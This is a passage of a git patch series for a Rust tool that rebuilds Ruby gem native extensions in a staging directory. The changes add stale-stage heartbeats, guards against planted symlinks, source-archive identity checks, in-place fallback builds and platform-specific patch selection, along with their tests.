Duration::from_secs(BUILD_TIMEOUT.as_secs() + 5 * 60); + +/// The error of a stage that cannot be locked and is too young to be told +/// from a live one ([`recovery_refusal`] words it). +const UNLOCKED_STAGE_IN_USE: &str = "a staged rebuild may still be running"; + +/// Whether the stage at `root`, which no lock vouches for, was last used +/// longer ago than any live step lasts. +fn unlocked_stage_is_dead(root: &Path) -> bool { + let modified = |path: &Path| std::fs::symlink_metadata(path).and_then(|m| m.modified()); + let newest = [modified(&root.join(STAGE_HEARTBEAT)), modified(root)] + .into_iter() + .flatten() + .max(); + match newest.map(|at| at.elapsed()) { + // A clock that ran backwards says nothing: not provably dead. + Some(Ok(age)) => age > UNLOCKED_STAGE_AGE, + _ => false, + } +} + /// Drop the stage a rebuild of `copy` left behind when its process was /// interrupted or killed. Nothing of the installed copy is in a stage, so /// one that is left is only disk space. `Err` of kind `WouldBlock`: a run -/// that is still alive holds it ([`lock_build_dir`]). +/// that is still alive holds it ([`lock_build_dir`]); or, where a +/// directory cannot be locked, it is not old enough to be provably dead +/// ([`unlocked_stage_is_dead`]). A link planted where the stage goes is +/// left alone, with whatever it points at ([`stage_dirs`]). fn sweep_stale_stage(copy: &GemCopy) -> std::io::Result<()> { - let root = stage_root(copy); + sweep_stale_stage_with(copy, lock_build_dir) +} + +/// [`sweep_stale_stage`], with the way a stage dir is locked. +fn sweep_stale_stage_with( + copy: &GemCopy, + lock: impl Fn(&Path) -> std::io::Result>, +) -> std::io::Result<()> { + let Ok((parent, root)) = stage_dirs(copy) else { + return Ok(()); + }; if is_real_dir(&root) { - match lock_build_dir(&root) { - Ok(_lock) => crate::patch::copy_tree::force_remove_dir_all(&root)?, + match lock(&root) { + Ok(Some(_lock)) => crate::patch::copy_tree::force_remove_dir_all(&root)?, + Ok(None) if unlocked_stage_is_dead(&root) => { + crate::patch::copy_tree::force_remove_dir_all(&root)? + } + Ok(None) => { + return Err(std::io::Error::new( + std::io::ErrorKind::WouldBlock, + UNLOCKED_STAGE_IN_USE, + )) + } Err(e) if e.kind() == std::io::ErrorKind::NotFound => {} Err(e) => return Err(e), } } // Gone with its last stage; a dir that still holds one stays. - let _ = std::fs::remove_dir(copy.home.join(BUILD_STAGE_DIR)); + let _ = std::fs::remove_dir(parent); Ok(()) } @@ -2267,21 +2345,25 @@ struct Stage { _lock: Option, } +impl Stage { + /// Say the stage is in use, before a step that may take a while + /// ([`STAGE_HEARTBEAT`]). Best effort. + fn beat(&self) { + let _ = std::fs::write(self.root.join(STAGE_HEARTBEAT), b""); + } +} + /// Open an empty stage for `copy` inside its gem home. `Err` says why the /// build cannot be staged there. fn open_stage(copy: &GemCopy) -> Result { - let parent = copy.home.join(BUILD_STAGE_DIR); - let root = stage_root(copy); // The stage is emptied and written under the gem home. A link planted // where it goes would move both somewhere else. - for dir in [&parent, &root] { - if std::fs::symlink_metadata(dir).is_ok_and(|meta| !meta.is_dir()) { - return Err(format!( - "its stage directory {} is not a directory", - dir.display() - )); - } - } + let (parent, root) = stage_dirs(copy).map_err(|planted| { + format!( + "its stage directory {} is not a directory", + planted.display() + ) + })?; let failed = |e: std::io::Error| { if e.kind() == std::io::ErrorKind::WouldBlock { recovery_refusal(copy, &e) @@ -2293,20 +2375,27 @@ fn open_stage(copy: &GemCopy) -> Result { let home = root.join("home"); std::fs::create_dir_all(&home).map_err(failed)?; let lock = lock_build_dir(&root).map_err(failed)?; - Ok(Stage { + let stage = Stage { root, home, _lock: lock, - }) + }; + stage.beat(); + Ok(stage) } /// Remove `stage`, and the stage dir of the gem home when that left it /// empty. Best effort: a stage that stays is swept by the next run. async fn close_stage(stage: Stage, copy: &GemCopy) { - let parent = copy.home.join(BUILD_STAGE_DIR); + let copy = copy.clone(); crate::utils::fs::run_blocking(move || { - let _ = crate::patch::copy_tree::force_remove_dir_all(&stage.root); - let _ = std::fs::remove_dir(parent); + // By the same guarded names it was opened under. + if let Ok((parent, root)) = stage_dirs(©) { + if root == stage.root { + let _ = crate::patch::copy_tree::force_remove_dir_all(&root); + } + let _ = std::fs::remove_dir(parent); + } }) .await; } @@ -2379,6 +2468,7 @@ async fn unpack_in_stage( stage_home: &stage.home, full_name: &full_name, }; + stage.beat(); let stdout = run_ruby(&probe.ruby, run, copy, env, UNPACK_TIMEOUT).await?; let unpacked = tagged_lines(&stdout, "sp_unpacked") .into_iter() @@ -2501,6 +2591,7 @@ async fn stage_dependencies( spec: &staged.spec_path, stage_home: &stage.home, }; + stage.beat(); let stdout = run_ruby(&probe.ruby, run, copy, env, PROBE_TIMEOUT).await?; if !stdout .lines() @@ -2529,6 +2620,7 @@ async fn stage_dependencies( if staged_names.contains(&name) || staged_names.len() >= MAX_STAGED_DEPENDENCIES { return Err(format!("{needed} and could not be staged for the build")); } + stage.beat(); let (id, bytes) = gems .dependency(&name, &requirement, &versions) .await @@ -2544,6 +2636,7 @@ async fn stage_dependencies( archive: &archive, stage_home: &stage.home, }; + stage.beat(); let stdout = run_ruby(&probe.ruby, run, copy, env, BUILD_TIMEOUT) .await .map_err(|why| format!("{needed} and did not install into the stage:\n{why}"))?; @@ -2574,6 +2667,7 @@ async fn build_staged( spec: &staged.spec_path, stage_home: &stage.home, }; + stage.beat(); let stdout = run_ruby(&probe.ruby, run, copy, env, BUILD_TIMEOUT) .await .map_err(StageFailure::Build)?; @@ -5685,4 +5779,103 @@ mod tests { let telling = discriminating_files(&java_dir, "pkg:gem/a@1", &record).await; assert_eq!(keys(&telling), keys(&record)); } + + /// A gem tree can come from the repository being scanned, so nothing in + /// it may steer a delete: a link planted where the stage dir goes (to + /// the home's own `gems/`, or to a dir outside it) is neither swept + /// through nor staged into. The dir named `-` behind the + /// link stays. + #[cfg(unix)] + #[test] + fn a_planted_stage_link_steers_no_delete() { + let tmp = tempfile::tempdir().unwrap(); + let outside = tmp.path().join("outside"); + std::fs::create_dir_all(outside.join("a-1")).unwrap(); + std::fs::write(outside.join("a-1/keep"), b"x").unwrap(); + for (case, target) in [ + ("the home's gems dir", PathBuf::from("gems")), + ("a dir outside the home", outside.clone()), + ] { + let home = tmp.path().join(case.replace([' ', '\''], "_")); + let copy = installed_gem(&home, "lib"); + std::fs::write(copy.gem_dir.join("lib/a.rb"), b"x").unwrap(); + std::os::unix::fs::symlink(&target, home.join(BUILD_STAGE_DIR)).unwrap(); + + // The start of every native apply, gem rollback and refresh. + assert!( + !recover_interrupted_rebuild_sync(©, Some("lib")).unwrap(), + "{case}" + ); + sweep_stale_stage(©).unwrap(); + assert!( + copy.gem_dir.join("lib/a.rb").is_file(), + "{case}: the gem was deleted" + ); + assert!(outside.join("a-1/keep").is_file(), "{case}"); + assert!( + is_symlink(&home.join(BUILD_STAGE_DIR)), + "{case}: the link is left" + ); + let why = open_stage(©).err().unwrap(); + assert!(why.contains("is not a directory"), "{case}: {why}"); + assert!(copy.gem_dir.join("lib/a.rb").is_file(), "{case}"); + assert!(outside.join("a-1/keep").is_file(), "{case}"); + } + + // The stage dir itself as a link, under a real stage root. + let home = tmp.path().join("leaf"); + let copy = installed_gem(&home, "lib"); + std::fs::create_dir_all(home.join(BUILD_STAGE_DIR)).unwrap(); + std::os::unix::fs::symlink(outside.join("a-1"), stage_root(©)).unwrap(); + sweep_stale_stage(©).unwrap(); + assert!(outside.join("a-1/keep").is_file()); + assert!(open_stage(©).is_err()); + assert!(outside.join("a-1/keep").is_file()); + } + + /// Where a directory cannot be locked, nothing vouches that a stage is + /// dead: one whose heartbeat is younger than any live step lasts is + /// left to the run that may still be building in it, and the purl is + /// refused until it is older. + #[test] + fn an_unlockable_stage_is_swept_only_when_provably_dead() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("home"); + let copy = installed_gem(&home, "lib"); + let root = stage_root(©); + std::fs::create_dir_all(root.join("home/gems/a-1")).unwrap(); + std::fs::write(root.join("home/gems/a-1/half"), b"x").unwrap(); + std::fs::write(root.join(STAGE_HEARTBEAT), b"").unwrap(); + let unlockable = |_: &Path| -> std::io::Result> { Ok(None) }; + + let refused = sweep_stale_stage_with(©, unlockable).unwrap_err(); + assert_eq!(refused.kind(), std::io::ErrorKind::WouldBlock); + assert!( + root.join("home/gems/a-1/half").is_file(), + "a live stage was swept" + ); + let why = recovery_refusal(©, &refused); + assert!(why.contains("cannot be locked here"), "{why}"); + + // The heartbeat and the dir both older than any step of a build. + let long_ago = std::time::SystemTime::now() - UNLOCKED_STAGE_AGE - Duration::from_secs(60); + for path in [root.join(STAGE_HEARTBEAT), root.clone()] { + let times = std::fs::FileTimes::new().set_modified(long_ago); + // A directory opens for this on Unix; elsewhere the heartbeat + // file alone is aged, and the dir's own time still holds it. + if let Ok(file) = std::fs::File::open(&path) { + let _ = file.set_times(times); + } + } + #[cfg(unix)] + assert!(unlocked_stage_is_dead(&root), "an aged stage is dead"); + if unlocked_stage_is_dead(&root) { + sweep_stale_stage_with(©, unlockable).unwrap(); + assert!(!root.exists(), "a dead stage is swept"); + assert!(!home.join(BUILD_STAGE_DIR).exists()); + } + // A stage with no heartbeat at all is judged by its dir alone. + std::fs::create_dir_all(&root).unwrap(); + assert!(!unlocked_stage_is_dead(&root)); + } } From 585368bd3a6940ff0050516744be5518675e1e13 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 15:04:05 -0500 Subject: [PATCH 09/13] Prove the archive is the installed gem's own source; fall back in place; attest shared homes truthfully Review hardening of the rebuild from the source gem: * Before anything of an archive is built, every file it shares with the installed copy must be byte-identical (a record file may hold its patched content). A gem of the same name from elsewhere is refused whatever lock governs the home. A name the lock resolves from another source is withheld from download at any version. * A gem RubyGems built falls back to the in-place rebuild on every failure before the installed copy is written, and a failed fallback names both failures. A build that leaves what Ruby loads in the gem's own tree takes the in-place path. * A grafted copy is attested only when no prebuilt binary a Ruby could load from the gem home is left unpatched: the home is laid out for the grafted Ruby, or every per-minor binary is grafted. apply under another Ruby grafts its binary into the same marker and backup. * Ruby source and type signatures outside ext/ and a build script's dir are no build inputs. * A platform gem's copy takes only its own platform's record when the manifest has one. * gem_source parses the lock once, builds its client on the first download and checks the cache by metadata; the registry test, the extension-dir confinement rule, the Ruby probe and the staged build are each one function. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-cli/src/commands/apply.rs | 47 + .../tests/e2e_gem_native_ext_build.rs | 286 ++- crates/socket-patch-core/src/patch/gem_ext.rs | 1907 +++++++++++++---- .../socket-patch-core/src/patch/gem_source.rs | 283 ++- .../src/patch/redirect/upstream/client.rs | 9 + .../src/patch/redirect/upstream/gem.rs | 3 +- .../src/patch/redirect/upstream/mod.rs | 2 +- .../src/vendor/lock_inventory/tests.rs | 9 +- 8 files changed, 1878 insertions(+), 668 deletions(-) diff --git a/crates/socket-patch-cli/src/commands/apply.rs b/crates/socket-patch-cli/src/commands/apply.rs index 5ccab1fe9..04bb6a828 100644 --- a/crates/socket-patch-cli/src/commands/apply.rs +++ b/crates/socket-patch-cli/src/commands/apply.rs @@ -963,6 +963,38 @@ pub(crate) fn variant_matches_installed(first_file_status: Option<&VerifyStatus> } } +/// Of the manifest's records for one gem version (`variants`), the one +/// written for the copy at `pkg_path` itself: the record whose `platform` +/// qualifier names the platform of that (platform gem) copy, when it +/// matches what is installed there (or under `--force`, which asks no +/// file). That record alone is then applied to the copy. `None`: the copy +/// is the `ruby` platform's, no record names its platform, or the one that +/// does is for other bytes; every matching record is applied, as for any +/// other package. +async fn own_platform_variant<'v>( + pkg_path: &Path, + variants: &'v [String], + manifest: &PatchManifest, + force: bool, +) -> Option<&'v String> { + if variants.len() < 2 { + return None; + } + let platform = gem_ext::copy_platform(pkg_path).await?; + let own = variants + .iter() + .find(|variant| gem_ext::names_platform(variant, &platform))?; + if force { + return Some(own); + } + let patch = manifest.patches.get(own)?; + let status = match representative_file(&patch.files) { + Some((name, info)) => Some(verify_file_patch(pkg_path, name, info).await.status), + None => None, + }; + variant_matches_installed(status.as_ref()).then_some(own) +} + /// The file whose verify status decides whether a release variant /// describes the installed distribution (fed to /// [`variant_matches_installed`]). @@ -2917,7 +2949,22 @@ async fn apply_patches_inner( // that copy is a real on-disk gem some bundler loads. let mut attempted = false; + // A platform gem's copy takes the record written for its + // own platform, when the manifest has one that matches + // it, and only that one. The ruby-platform record of the + // same version can match such a copy too (its sources are + // what the copy's binary was built from) and must not be + // applied on top. + let only_variant = if Ecosystem::from_purl(purl) == Some(Ecosystem::Gem) { + own_platform_variant(pkg_path, &variants, &manifest, args.force).await + } else { + None + }; + for variant_purl in &variants { + if only_variant.is_some_and(|only| only != variant_purl) { + continue; + } let patch = match manifest.patches.get(variant_purl) { Some(p) => p, None => continue, diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index 0efdd6553..f72a7b8f5 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -691,8 +691,8 @@ stage_build) full=$(basename "$4" .gemspec) ext="$5/extensions/x86_64-linux/3.4.0/$full" [ -e "$state/hang" ] && hang - if [ -e "$state/fail-build" ]; then - echo "sp_native.c:7: error: this is not C" >&2 + if [ -e "$state/fail-stage-build" ]; then + echo "sp_native.c:7: error: this is not C (in the stage)" >&2 exit 1 fi mkdir -p "$ext/sp_native" "$5/gems/$full/lib/sp_native" @@ -721,6 +721,10 @@ build) wait exit 1 fi + if [ -e "$state/fail-build" ]; then + echo "sp_native.c:7: error: this is not C (in place)" >&2 + exit 1 + fi mkdir -p "$ext/sp_native" "$lib/sp_native" printf 'rebuilt' > "$ext/sp_native/sp_native.so" cp "$ext/sp_native/sp_native.so" "$lib/sp_native/sp_native.so" @@ -769,11 +773,18 @@ esac std::fs::write(source.join("patches/0001-base.patch"), "base\n").unwrap(); } - /// Make every later staged build fail, as a compile error does. + /// Make every later build fail, staged or in place, as a compile error + /// does. fn fail_builds(&self) { + self.fail_staged_builds(); std::fs::write(self.state.join("fail-build"), b"").unwrap(); } + /// Make every later build in a stage fail, and none in place. + fn fail_staged_builds(&self) { + std::fs::write(self.state.join("fail-stage-build"), b"").unwrap(); + } + /// The modes this Ruby was run in, in order. fn calls(&self) -> Vec { std::fs::read_to_string(self.state.join("calls")) @@ -1713,39 +1724,69 @@ fn a_precompiled_copy_without_its_source_gem_is_refused() { } } -/// The record is laid over the pristine source gem before anything is -/// built, and every `beforeHash` must hold there: an archive that is not -/// the gem the patch was written for stops the run with nothing written to -/// the installed copy. +/// An archive is built only when it is the installed gem's own source and +/// the record applies to it: both are checked on the unpacked tree before +/// anything of it runs. An archive whose files are not the installed +/// copy's (another gem of that name), and one whose build input is not +/// what the patch was written for, stop a precompiled copy's run with +/// nothing written. #[cfg(unix)] #[test] -fn a_record_that_does_not_fit_the_source_gem_stops_before_the_build() { - let (_tmp, proj, _gem_dir) = fake_precompiled_gem(true); - write_precompiled_record(&proj); - let ruby = FakeRuby::new(); - // The installed copy holds the C source the record replaces; the - // "source gem" holds another. - ruby.serve_source_gem(&c_source(7)); - let tree_before = walk_files(&proj.join("vendor")); +fn an_archive_that_is_not_the_gems_own_source_is_not_built() { + // (what the "source gem" holds, the reason it is not used) + let cases: [(&str, &str, &str); 2] = [ + // Another C source than the installed copy's. + ( + "another source", + "is not the installed gem's own source", + "ext/sp_native/sp_native.c differs", + ), + // The copy's own files, but another libxml2-style patch file than + // the record replaces (the copy never shipped it: only the strict + // apply to the source gem can tell). + ( + "another build input", + "the patch does not apply to the source gem", + "0001-base.patch", + ), + ]; + for (case, reason, names) in cases { + let (_tmp, proj, _gem_dir) = fake_precompiled_gem(true); + write_precompiled_record(&proj); + let ruby = FakeRuby::new(); + if case == "another source" { + ruby.serve_source_gem(&c_source(7)); + } else { + ruby.serve_source_gem(&c_source(1)); + let other = ruby.state.join("source/patches/0001-base.patch"); + std::fs::write(other, "not the base\n").unwrap(); + } + let tree_before = walk_files(&proj.join("vendor")); - let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); - assert_eq!(code, 1, "{stdout}\n{stderr}"); - assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); - assert!( - stdout.contains("the patch does not apply to that gem"), - "{stdout}" - ); - assert_eq!( - ruby.calls(), - ["extensions_dir", "unpack"], - "nothing was built" - ); - assert_tree(&proj.join("vendor"), &tree_before, ""); + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 1, "{case}: {stdout}\n{stderr}"); + assert!( + stdout.contains("native_extensions_unsupported"), + "{case}: {stdout}" + ); + assert!( + stdout.contains(reason) && stdout.contains(names), + "{case}: {stdout}" + ); + assert_eq!( + ruby.calls(), + ["extensions_dir", "unpack"], + "{case}: nothing was built" + ); + assert_tree(&proj.join("vendor"), &tree_before, case); + } } -/// A build that fails in the stage never touched the installed copy: a -/// precompiled gem keeps its prebuilt binary, a gem RubyGems built keeps -/// its extension dir, and neither gets a patched source. +/// A build that fails in the stage never touched the installed copy. A +/// precompiled gem has nothing else to build from: it keeps its prebuilt +/// binary. A gem RubyGems built is then built where it is installed, as it +/// was before there was a stage; when that fails too the copy is put back +/// as it was, and the error names both failures. #[cfg(unix)] #[test] fn a_failed_staged_build_changes_nothing() { @@ -1772,19 +1813,24 @@ fn a_failed_staged_build_changes_nothing() { "precompiled {precompiled}: {stdout}" ); assert!( - stdout.contains("this is not C"), + stdout.contains("this is not C (in the stage)"), "the compiler error is shown: {stdout}" ); - assert!( - stdout.contains("nothing of the installed gem was changed"), - "{stdout}" - ); - assert_eq!( - ruby.calls(), - ["extensions_dir", "unpack", "missing_deps", "stage_build"], - "precompiled {precompiled}: the gem's own tree is not built after its source gem \ - failed to" - ); + let staged = ["extensions_dir", "unpack", "missing_deps", "stage_build"]; + if precompiled { + assert!( + stdout.contains("nothing of the installed gem was changed"), + "{stdout}" + ); + assert_eq!(ruby.calls(), staged); + } else { + assert!( + stdout.contains("this is not C (in place)") + && stdout.contains("the sources and the previous build were put back"), + "both failures are named: {stdout}" + ); + assert_eq!(ruby.calls(), [&staged[..], &["build"]].concat()); + } assert_tree( &proj.join("vendor"), &tree_before, @@ -1793,6 +1839,162 @@ fn a_failed_staged_build_changes_nothing() { } } +/// Whatever keeps a gem RubyGems built from being rebuilt from its source +/// gem, before anything of the installed copy is written, leaves it the +/// rebuild it had before there was a stage: from its own tree, in place. +/// The cached archive not being its own source (a patched archive a hosted +/// install left there), a record that does not apply to it, a stage that +/// cannot be opened, a build that fails in the stage. +#[cfg(unix)] +#[test] +fn a_built_gem_falls_back_to_its_own_tree() { + for case in [ + "not its own source", + "record does not apply", + "no stage", + "staged build fails", + ] { + let (_tmp, proj, gem_dir) = fake_native_gem(true); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + std::fs::create_dir_all(home.join("cache")).unwrap(); + std::fs::write(home.join("cache/sp_native-1.0.0.gem"), b"the source gem").unwrap(); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let (before, after) = (c_source(1), c_source(2)); + let mut record: Vec> = vec![(C_KEY, Some(&before), &after)]; + let mut staged_steps = vec!["unpack"]; + match case { + "not its own source" => { + let lib = ruby.state.join("source/lib/sp_native.rb"); + std::fs::write(lib, "# another gem's\n").unwrap(); + } + "record does not apply" => { + // A file the source gem alone holds, with other content + // than the record replaces. + record.push(( + "patches/0001-base.patch", + Some("not the base\n"), + "the fix\n", + )); + } + "no stage" => { + // Something that is no directory where the stage goes. + std::fs::write(home.join(".socket-patch-build"), b"").unwrap(); + staged_steps.clear(); + } + _ => { + ruby.fail_staged_builds(); + staged_steps.extend(["missing_deps", "stage_build"]); + } + } + write_record(&proj.join(".socket"), PURL, &record); + + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + if case == "record does not apply" { + // The record changes a file the copy does not hold: only the + // source gem could have vouched for it, so there is nothing to + // fall back to. + assert_eq!(code, 1, "{case}: {stdout}\n{stderr}"); + assert!( + stdout.contains("native_extensions_unsupported") + && stdout.contains("the patch does not apply to the source gem"), + "{case}: {stdout}" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join(C_KEY)).unwrap(), + c_source(1), + "{case}" + ); + continue; + } + assert_eq!(code, 0, "{case}: apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{case}: {stdout}"); + let expected = [&["extensions_dir"][..], &staged_steps[..], &["build"]].concat(); + assert_eq!(ruby.calls(), expected, "{case}"); + assert_eq!( + std::fs::read(gem_dir.join("lib/sp_native/sp_native.so")).unwrap(), + b"rebuilt", + "{case}: the in-place build" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join(C_KEY)).unwrap(), + c_source(2), + "{case}" + ); + if case != "no stage" { + assert!(!home.join(".socket-patch-build").exists(), "{case}"); + } + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--check"], &[]); + assert_eq!(code, 0, "{case}: {stdout}\n{stderr}"); + } +} + +/// A record written for a platform gem's own platform is the one applied +/// to that gem's copy, and the only one: the `ruby` platform's record of +/// the same version matches the copy too (its C source is the one the +/// copy ships) and is not applied on top. +#[cfg(unix)] +#[test] +fn a_platform_copy_takes_its_own_platforms_record_alone() { + let (_tmp, proj, gem_dir) = fake_precompiled_gem(true); + let socket = proj.join(".socket"); + let ruby_key = format!("{PURL}?platform=ruby"); + let own_key = format!("{PURL}?platform=x86_64-linux"); + let (c_before, c_after) = (c_source(1), c_source(2)); + let rb_after = "require \"sp_native/sp_native\"\n# patched for x86_64-linux\n"; + let record = |uuid: &str, key: &str, before: &str, after: &str| { + write_blob(&socket, &git_sha256(before.as_bytes()), before.as_bytes()); + write_blob(&socket, &git_sha256(after.as_bytes()), after.as_bytes()); + serde_json::json!({ + "uuid": uuid, + "exportedAt": "2026-01-01T00:00:00Z", + "files": { key: { + "beforeHash": git_sha256(before.as_bytes()), + "afterHash": git_sha256(after.as_bytes()), + }}, + "vulnerabilities": {}, + "description": "synthetic test patch", + "license": "MIT", + "tier": "free", + }) + }; + std::fs::create_dir_all(&socket).unwrap(); + let manifest = serde_json::json!({ "patches": { + ruby_key.as_str(): record(UUID, C_KEY, &c_before, &c_after), + own_key.as_str(): record( + "29962996-2996-4996-8996-299629962996", + "lib/sp_native.rb", + LIB_RB, + rb_after, + ), + }}); + std::fs::write( + socket.join("manifest.json"), + serde_json::to_string_pretty(&manifest).unwrap(), + ) + .unwrap(); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + + let (code, stdout, stderr) = ruby.run(&proj, &["apply", "--json", "--offline"], &[]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!( + std::fs::read_to_string(gem_dir.join("lib/sp_native.rb")).unwrap(), + rb_after, + "the copy's own platform's record is applied" + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join(C_KEY)).unwrap(), + c_source(1), + "the ruby-platform record was applied on top" + ); + assert_eq!(ruby.calls(), Vec::::new(), "nothing was rebuilt"); + assert_eq!( + std::fs::read_to_string(gem_dir.join("lib/sp_native/3.4/sp_native.so")).unwrap(), + prebuilt("3.4") + ); +} + /// A gem RubyGems built, with its archive still in the home's `cache/` /// (where RubyGems and Bundler leave it), is rebuilt from that archive in /// a stage: no network, the installed gemspec is not loaded, and the copy diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index 0a9a8449c..aef61f20d 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -250,11 +250,34 @@ const NATIVE_BUILD_FILES: &[&str] = &[ ]; /// Top-level dirs of a gem that take no part in building its extension: -/// executables, tests and documentation. +/// executables, tests, type signatures, examples and documentation. const NOT_BUILT_DIRS: &[&str] = &[ - "bin", "exe", "test", "spec", "features", "doc", "docs", "man", + "bin", + "exe", + "test", + "tests", + "t", + "spec", + "features", + "sig", + "rbi", + "examples", + "benchmark", + "benchmarks", + "doc", + "docs", + "man", ]; +/// Ruby source and type signatures, by extension: Ruby (or a type checker) +/// reads them as they are, so outside a build's own dirs they are no build +/// input. +const RUBY_SOURCE_EXTENSIONS: &[&str] = &["rb", "rbs", "rbi", "rake", "ru", "gemspec"]; + +/// The names rake reads its tasks from, and the script that generates one +/// for an extension (`mkrf_conf.rb`). +const RAKE_SCRIPTS: &[&str] = &["Rakefile", "rakefile", "Rakefile.rb", "mkrf_conf.rb"]; + /// Grammar sources a gem ships already generated (racc / ragel output is a /// `.rb` or `.c` file the gem packs): in a gem that builds no extension they /// compile nothing at install time. @@ -513,11 +536,6 @@ fn parse_require_paths(spec_text: &str) -> Option> { } } -/// The gem's first require path ([`parse_require_paths`]). -fn parse_require_path(spec_text: &str) -> Option { - parse_require_paths(spec_text).and_then(|paths| paths.into_iter().next()) -} - /// The string an installed gemspec assigns to `attr` (`s.name = /// "nokogiri".freeze`): `None` when it assigns none, or something that is /// not a string literal (`s.platform = Gem::Platform::RUBY`). @@ -635,27 +653,44 @@ fn is_generated_grammar(path: &str) -> bool { /// Whether a file of a native gem is a build file by its name, wherever it /// sits: a Java or Rust source, or the manifest of a build system. fn is_build_file_by_name(path: &str) -> bool { - let leaf = path.rsplit('/').next().unwrap_or(path); + let leaf = leaf_of(path); NATIVE_BUILD_FILES.contains(&leaf) || leaf.rsplit_once('.').is_some_and(|(stem, ext)| { !stem.is_empty() && NATIVE_BUILD_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str()) }) } +/// The file name of a gem path. +fn leaf_of(path: &str) -> &str { + path.rsplit('/').next().unwrap_or(path) +} + +/// Whether a gem file is Ruby source or a type signature +/// ([`RUBY_SOURCE_EXTENSIONS`], a `Rakefile`, a `Gemfile`). +fn is_ruby_source(path: &str) -> bool { + let leaf = leaf_of(path); + RAKE_SCRIPTS.contains(&leaf) + || leaf.starts_with("Gemfile") + || leaf.rsplit_once('.').is_some_and(|(stem, ext)| { + !stem.is_empty() && RUBY_SOURCE_EXTENSIONS.contains(&ext.to_ascii_lowercase().as_str()) + }) +} + +/// Whether a Ruby file is a rake file: a rake script by name +/// ([`RAKE_SCRIPTS`]) or a `.rake` task file. +fn is_rake_file(path: &str) -> bool { + let leaf = leaf_of(path); + RAKE_SCRIPTS.contains(&leaf) + || leaf + .rsplit_once('.') + .is_some_and(|(_, ext)| ext.eq_ignore_ascii_case("rake")) +} + /// Whether a file of a native gem clearly takes no part in its build: a /// file under a require path (Ruby loads it as it is), an executable, a /// test, documentation, or the gem's own packaging files. fn is_clearly_not_built(path: &str, require_paths: &[String]) -> bool { - let under_require_path = require_paths.iter().any(|require_path| { - let dir = require_path.trim_start_matches("./").trim_end_matches('/'); - // A gem that requires from its root says nothing about a file. - !dir.is_empty() - && dir != "." - && path - .strip_prefix(dir) - .is_some_and(|rest| rest.starts_with('/')) - }); - if under_require_path { + if under_require_path(path, require_paths) { return true; } match path.split_once('/') { @@ -708,17 +743,25 @@ impl NativeScope { /// Classify `files` against what the installed gemspec says (`facts`). /// /// A gem is native when its gemspec declares extensions or its platform is -/// not `ruby` (a precompiled platform gem). In a native gem every patched -/// file is a build input unless it clearly is not one -/// ([`is_clearly_not_built`]): `extconf.rb` builds from whatever the gem -/// packs (nokogiri's reads `patches/**`, `ports/**` and -/// `dependencies.yml`), so only a file known to take no part counts as -/// plain. A source by name ([`is_native_by_name`], [`is_build_file_by_name`]) -/// and anything under `ext/` or the dir of a declared build script is -/// always an input; a script at the gem root (`extensions = -/// ["extconf.rb"]`) makes the files beside it inputs. A grammar under a -/// require path of a precompiled gem is not one: its generated output is -/// what the gem packs and Ruby loads. +/// not `ruby` (a precompiled platform gem). Its build inputs: +/// +/// * Always: a source by name ([`is_native_by_name`], +/// [`is_build_file_by_name`]), anything under `ext/`, and anything under +/// the dir of a declared build script. A script at the gem root +/// (`extensions = ["extconf.rb"]`) makes the files beside it inputs. +/// * Ruby source and type signatures elsewhere ([`is_ruby_source`]) are +/// not: Ruby loads them as they are, wherever the gem keeps them +/// (passenger's `src/helper-scripts/*.rb`, a `sig/*.rbs`). The +/// exceptions are a build script by name (a `Rakefile`, a +/// `mkrf_conf.rb`), and any rake file of a gem whose extension rake +/// builds. +/// * Every other file is one unless it clearly is not +/// ([`is_clearly_not_built`]): `extconf.rb` builds from whatever the gem +/// packs (nokogiri's reads `patches/**`, `ports/**` and +/// `dependencies.yml`), so only a file known to take no part counts as +/// plain. +/// * A grammar under a require path of a precompiled gem is not one: its +/// generated output is what the gem packs and Ruby loads. /// /// In a gem that is not native (no extensions, the `ruby` platform), only a /// name-matched source under `ext/` counts. C or Objective-C files @@ -742,6 +785,13 @@ fn classify(facts: &SpecFacts, files: &HashMap) -> Native None => !path.contains('/'), }) }; + // Rake builds the extension, or nothing says what does. + let rake_built = decl.declared + && (decl.entries.is_empty() + || decl + .entries + .iter() + .any(|entry| RAKE_SCRIPTS.contains(&leaf_of(entry)))); let precompiled = facts.platform.clone().filter(|_| !decl.declared); let native = decl.declared || precompiled.is_some(); let mut inputs: Vec = files @@ -757,11 +807,17 @@ fn classify(facts: &SpecFacts, files: &HashMap) -> Native if precompiled.is_some() && plain && is_generated_grammar(path) { return false; } - is_native_by_name(path) + if is_native_by_name(path) || is_build_file_by_name(path) || under_script_dir(path) || path.starts_with("ext/") - || !plain + { + return true; + } + if is_ruby_source(path) { + return RAKE_SCRIPTS.contains(&leaf_of(path)) || (rake_built && is_rake_file(path)); + } + !plain }) .cloned() .collect(); @@ -817,7 +873,9 @@ pub struct BuildMarker { pub lib_artifacts: BTreeMap, /// The copy is a precompiled platform gem, and `lib_artifacts` are its /// prebuilt binaries 